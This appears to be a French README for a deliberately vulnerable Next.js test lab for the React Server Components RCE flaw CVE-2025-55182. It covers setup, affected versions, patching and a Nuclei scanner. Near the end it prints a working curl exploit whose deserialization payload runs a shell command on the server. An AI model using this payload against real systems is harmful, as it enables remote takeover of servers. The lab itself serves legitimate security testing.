
Un environnement de test conteneurisé pour CVE-2025-55182, une vulnérabilité critique (score CVSS 10.0) d'exécution de code à distance dans React Server Components.
Un environnement de test conteneurisé pour CVE-2025-55182, une vulnérabilité critique (10.0 CVSS) d'exécution de code à distance dans les React Server Components.
Cet environnement est intentionnellement vulnérable et doit UNIQUEMENT être utilisé pour :
NE PAS :
Paquets React :
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js :
React : 19.0.1, 19.1.2, 19.2.1 Next.js : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# Build and start the vulnerable environment
podman compose up --build -d
# Check it's running
curl http://localhost:3000/api/status
# View logs
podman logs -f react2shell-vuln
# Stop
podman compose down
# Build and start the vulnerable environment
docker-compose up --build -d
# Access the application at http://localhost:3000
.
├── README.md # Ce fichier
├── Dockerfile # Instructions de construction du conteneur
├── Dockerfile.dev # Conteneur de développement avec rechargement à chaud
├── docker-compose.yml # Configuration Docker/Podman Compose
├── CVE-2025-55182.yaml # Modèle de scanner Nuclei
├── scan.sh # Script de scanner Nuclei généraliste
├── scan-results/ # Répertoire de sortie du scan
└── vulnerable-app/ # Application Next.js vulnérable
├── package.json # Dépendances (versions vulnérables)
├── next.config.js # Configuration Next.js
├── tsconfig.json # Configuration TypeScript
└── app/ # Pages et composants App Router
├── layout.tsx # Mise en page racine
├── page.tsx # Page principale avec Server Components
├── globals.css # Styles
├── actions.ts # Actions serveur
├── api/status/ # Point de terminaison de l'API de statut
└── components/ # Composants React
Si vous n'avez pas le modèle, téléchargez-le depuis le dépôt officiel nuclei-templates :
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
Le fichier scan.sh inclus est un scanner de conteneur Nuclei généraliste qui fonctionne à la fois avec Docker et Podman.
# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# Scan with all Nuclei templates
./scan.sh -u https://example.com
# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# Filter by severity
./scan.sh -u https://example.com -s critical,high
# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
Une fois le conteneur en cours d'exécution :
http://localhost:3000http://localhost:3000/api/statusRemarque : La vulnérabilité implique une désérialisation non sécurisée dans le protocole RSC. Le modèle Nuclei teste ce vecteur d'attaque spécifique.
Pour tester la version corrigée, modifiez vulnerable-app/package.json :
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
Puis reconstruisez :
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
Cet environnement de test est fourni uniquement à des fins éducatives et de recherche en sécurité. Les mainteneurs ne sont pas responsables de toute utilisation abusive de ce logiciel. Obtenez toujours une autorisation appropriée avant de tester des vulnérabilités de sécurité.
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| Option | Description |
|---|
-u, --url <url> | URL cible unique à analyser |
-l, --list <file> | Fichier contenant une liste d'URL cibles |
-t, --template <file> | Fichier ou répertoire de modèle personnalisé |
-o, --output <dir> | Répertoire de sortie (par défaut : ./scan-results) |
-s, --severity <level> | Filtre : info, low, medium, high, critical |
-r, --rate-limit <n> | Nombre maximal de requêtes par seconde |
-j, --json | Afficher les résultats au format JSON |
-v, --verbose | Sortie détaillée |
-h, --help | Afficher le message d'aide |